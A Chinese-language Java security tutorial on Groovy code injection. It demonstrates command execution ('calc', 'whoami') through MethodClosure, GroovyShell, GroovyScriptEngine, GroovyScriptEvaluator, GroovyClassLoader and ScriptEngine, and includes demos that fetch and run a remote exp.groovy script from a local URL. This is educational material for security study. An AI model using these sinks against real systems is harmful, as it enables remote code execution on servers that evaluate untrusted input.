Java安全之Groovy代码注入
Groovy是Apache旗下的一种基于JVM的面向对象编程语言,既可以用于面向对象编程,也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby和Smalltalk语言的优秀特性,比如动态类型转换、闭包和元编程支持。Groovy与Java可以很好的互相调用并结合编程,比如在写Groovy的时候忘记了语法可以直接按Java的语法继续写,也可以在Java中调用Groovy脚本。比起Java,Groovy语法更加的灵活和简洁,可以用更少的代码来实现Java实现的同样功能。
Groovy特点
- 同时支持静态和动态类型;
- 支持运算符重载;
- 本地语法列表和关联数组;
- 对正则表达式的本地支持;
- 各种标记语言,如XML和HTML原生支持;
- Groovy对于Java开发人员来说很简单,因为Java和Groovy的语法非常相似;
- 可以使用现有的Java库;
- Groovy扩展了java.lang.Object;
Groovy代码注入
maven导入Groovy后,
org.codehaus.groovy
groovy-all
2.4.15
可以直接在idea里运行groovy脚本和类。
groovy可以直接执行Java代码,也可以按照自己的语法来执行。
比如
Runtime.getRuntime().exec("calc")和"whoami".execute() 本质相同
println "whoami".execute().text 还支持回显
groovy支持单引号闭合字符串。
还可以像php一样"${"whoami".execute().text}"
MethodClosure
从名字就可以知道,这是一个方法闭包,使用方法闭包来代替对象的某个方法,方便调用。
构造函数第一个参数是对象,第二个参数是对象的方法。
并调用call方法对闭包进行调用。
package com.groovy;
import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
// mc.call("calc");
MethodClosure mc = new MethodClosure("calc","execute");
mc.call();
}
}
GroovyShell
GroovyShell这个类主要有三个方法evaluate run parse
evaluate有多种重载,支持从String,File,URI,Reader,GroovyCodeSource类型以及多种的组合执行groovy代码。基本逻辑就是获取通过groovy代码来写入或者加载远程或者本地的groovy脚本来执行命令。
parse就是返回一个groovy脚本(groovy.lang.Script)然后调用其run方法执行。
run方法就是获取groovy脚本来直接运行,跨过evaluate和parse方法
下面就是简单的demo。url下的exp.groovy内容就是cmd变量的值。
package com.groovy;
import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import java.io.File;
import java.net.URI;
public class Groovy1 {
public static void main(String[] args) throws Exception{
GroovyShell groovyShell = new GroovyShell();
String cmd = "\"whoami\".execute().text";
// System.out.println(groovyShell.evaluate(cmd));
// File file = new File("src/main/java/com/groovy/TestGroovyScipt.groovy");
// System.out.println(groovyShell.evaluate(file));
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
// System.out.println(groovyShell.evaluate(uri));
GroovyCodeSource groovyCodeSource = new GroovyCodeSource(cmd,"","");
GroovyCodeSource groovyCodeSource1 = new GroovyCodeSource(uri);
System.out.println(groovyShell.evaluate(groovyCodeSource1));
}
}
GroovyScriptEngine
允许从指定root(可以是某文件夹,某URL,某Resource)下获取脚本来执行,还可以指定类加载器去加载。
package com.groovy;
import groovy.util.GroovyScriptEngine;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import java.net.URL;
import java.net.URLClassLoader;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
// scriptEngine.run("TestGroovyScipt.groovy","");
GroovyScriptEngine scriptEngine1 = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine1.run("exp.groovy","");
}
}
GroovyScriptEvaluator
这个类的evaluate方法同样可以执行groovy代码,本质还是GroovyShell。
不过evaluate参数需要是org.springframework.scripting.ScriptSource接口的对象。
这个接口有两个实现类,StaticScriptSource,ResourceScriptSource。
前者提供脚本字符串,后者需要提供一个可以触发org.springframework.core.io.Resource#getFilename Resource接口对象
package com.groovy;
import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import groovy.util.GroovyScriptEngine;
import org.springframework.core.io.FileSystemResource;
import org.springframework.scripting.ScriptSource;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import org.springframework.scripting.support.ResourceScriptSource;
import org.springframework.scripting.support.StaticScriptSource;
public class Groovy1 {
public static void main(String[] args) throws Exception{
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
// ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
// System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
// FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/TestGroovyScipt.groovy");
// ScriptSource source = new ResourceScriptSource(fileSystemResource);
// System.out.println(groovyScriptEvaluator.evaluate(source));
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));
}
}
GroovyClassLoader
GroovyClassLoader用于在Java中加载groovy类并调用,有重写的loadClass和defineClass用法大抵相同,parseClass可以直接从文件或者字符串中获取groovy类。
package com.groovy;
import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// GroovyClassLoader classLoader = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
// Class clazz = classLoader.loadClass("exp");
GroovyClassLoader classLoader = new GroovyClassLoader();
// Class clazz = classLoader.parseClass(new File("src/main/java/com/groovy/Test.groovy"));
Class clazz = classLoader.parseClass("class Test {\n" +
" static void main(String[] args) {\n" +
" GroovyShell groovyShell = new GroovyShell()\n" +
" String cmd = \"\\\"whoami\\\".execute().text\"\n" +
" println(groovyShell.evaluate(cmd).toString())\n" +
" }\n" +
"}\n");
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main","");
}
}
ScriptEngine
javax.script.ScriptEngine想必都熟悉,我们可以使用他来执行js脚本,当然也可以执行groovy脚本。
package com.groovy;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
public class Groovy1 {
public static void main(String[] args) throws Exception{
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
}
}
关于Groovy代码注入今天先分析到这里,后续会更新更多内容!